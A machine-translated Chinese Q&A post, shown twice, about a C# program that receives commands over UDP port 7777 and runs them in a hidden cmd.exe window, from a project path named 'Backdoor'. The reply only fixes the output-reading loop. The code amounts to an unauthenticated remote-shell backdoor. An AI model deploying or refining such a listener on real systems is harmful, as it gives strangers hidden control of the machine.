C# 提供命令以使用 StandardInput 进行处理并使用 StandardOutput 读取输出
C# Supplying Commands to Process with StandardInput and Reading Output with StandardOutput
我的任务是在 C# 中实现交互式 shell,并且 运行 遇到了一些复杂问题。我在 Java 中完成了这个确切的项目,并使用了 ProcessBuilder class,这让事情变得简单。
我现在遇到的问题是读取进程的标准输出。我正在使用标准输入向 shell.
提供命令
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;
class EntryPoint
{
static void Main(string[] args)
{
IPAddress ip = null;
foreach (IPAddress addr in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
{
if (addr.AddressFamily.Equals(AddressFamily.InterNetwork))
ip = addr;
}
const int port = 7777;
try
{
UdpClient socket = new UdpClient(new IPEndPoint(ip, port));
IPEndPoint rcvEndPoint = new IPEndPoint(IPAddress.Any, port);
Console.WriteLine("Listening on " + ip + ":" + port);
bool listening = true;
while (listening)
{
byte[] data = socket.Receive(ref rcvEndPoint);
string command = Encoding.UTF8.GetString(data);
if (command.ToLower().Equals("exit"))
{
listening = false;
continue;
}
//startInfo.Arguments = "/C" + command;
string output = RunCommand(command);
Console.WriteLine(output);
}
}
catch (Exception e)
{
Console.WriteLine("Error: " + e.ToString());
Console.WriteLine("Press Enter to Exit...");
Console.Read();
}
}
private static string RunCommand(string command)
{
Process process = new Process();
process.StartInfo = new ProcessStartInfo()
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe",
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardInput = true
};
process.Start();
process.StandardInput.WriteLine(command);
while (process.StandardOutput.Peek() >= 0)
{
Console.WriteLine(process.StandardOutput.ReadLine());
}
return "";
}
}
我遇到的问题源于 StandardInput.WriteLine() 或 StandardOutput.ReadLine()。每当我向进程发送诸如 "chdir" 之类的命令时,我都会通过读取标准输出得到以下输出:
微软Windows[版本...数字...]
(c) 2013 ...版权资料
--空行--
C:\Users\Nick\Desktop\Backdoor\Backdoor\bin\Debug>chdir
仅此而已。该输出的每一位对于命令提示符都是正常的,但缺少命令的实际执行。当 运行 执行不带参数的 chdir 命令时,人们会期望提示符打印当前工作目录。 StandardInput 未执行命令或 StandardOutput 未读取所有输出。
有没有人有任何见解?谢谢!
您只是在 Process.StandardOutput.Peek
returns 一个非负数时循环。如果没有要读取的字符,则 Peek
returns -1 并且循环终止。如果您的程序使用 copyright/prompt 文本和 chdir
命令的输出之间有一点延迟,那么您的循环将退出并且您将看不到完整的输出。
在 MSDN 上为 synchronous reading and asynchronous reading 描述了从进程的标准输出流中读取的正确方法。您可能想使用异步技术,因为您可能也想从标准错误中读取数据,所以我建议从这里开始。
我的任务是在 C# 中实现交互式 shell,并且 运行 遇到了一些复杂问题。我在 Java 中完成了这个确切的项目,并使用了 ProcessBuilder class,这让事情变得简单。
我现在遇到的问题是读取进程的标准输出。我正在使用标准输入向 shell.
提供命令using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;
class EntryPoint
{
static void Main(string[] args)
{
IPAddress ip = null;
foreach (IPAddress addr in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
{
if (addr.AddressFamily.Equals(AddressFamily.InterNetwork))
ip = addr;
}
const int port = 7777;
try
{
UdpClient socket = new UdpClient(new IPEndPoint(ip, port));
IPEndPoint rcvEndPoint = new IPEndPoint(IPAddress.Any, port);
Console.WriteLine("Listening on " + ip + ":" + port);
bool listening = true;
while (listening)
{
byte[] data = socket.Receive(ref rcvEndPoint);
string command = Encoding.UTF8.GetString(data);
if (command.ToLower().Equals("exit"))
{
listening = false;
continue;
}
//startInfo.Arguments = "/C" + command;
string output = RunCommand(command);
Console.WriteLine(output);
}
}
catch (Exception e)
{
Console.WriteLine("Error: " + e.ToString());
Console.WriteLine("Press Enter to Exit...");
Console.Read();
}
}
private static string RunCommand(string command)
{
Process process = new Process();
process.StartInfo = new ProcessStartInfo()
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe",
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardInput = true
};
process.Start();
process.StandardInput.WriteLine(command);
while (process.StandardOutput.Peek() >= 0)
{
Console.WriteLine(process.StandardOutput.ReadLine());
}
return "";
}
}
我遇到的问题源于 StandardInput.WriteLine() 或 StandardOutput.ReadLine()。每当我向进程发送诸如 "chdir" 之类的命令时,我都会通过读取标准输出得到以下输出:
微软Windows[版本...数字...]
(c) 2013 ...版权资料
--空行--
C:\Users\Nick\Desktop\Backdoor\Backdoor\bin\Debug>chdir
仅此而已。该输出的每一位对于命令提示符都是正常的,但缺少命令的实际执行。当 运行 执行不带参数的 chdir 命令时,人们会期望提示符打印当前工作目录。 StandardInput 未执行命令或 StandardOutput 未读取所有输出。
有没有人有任何见解?谢谢!
您只是在 Process.StandardOutput.Peek
returns 一个非负数时循环。如果没有要读取的字符,则 Peek
returns -1 并且循环终止。如果您的程序使用 copyright/prompt 文本和 chdir
命令的输出之间有一点延迟,那么您的循环将退出并且您将看不到完整的输出。
在 MSDN 上为 synchronous reading and asynchronous reading 描述了从进程的标准输出流中读取的正确方法。您可能想使用异步技术,因为您可能也想从标准错误中读取数据,所以我建议从这里开始。